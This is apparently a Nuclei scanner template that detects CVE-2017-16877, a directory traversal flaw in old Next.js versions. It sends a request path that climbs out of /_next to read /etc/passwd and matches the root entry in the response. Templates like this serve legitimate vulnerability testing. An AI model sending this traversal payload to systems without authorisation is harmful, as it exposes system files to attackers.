id: CVE-2017-16877

info:
  name: Nextjs v2.4.1 LFI
  author: pikpikcu
  severity: high
  description: ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.
  reference:
    - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16877
    cwe-id: CWE-22
  tags: cve,cve2017,nextjs,lfi,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
        condition: and

      - type: status
        status:
          - 200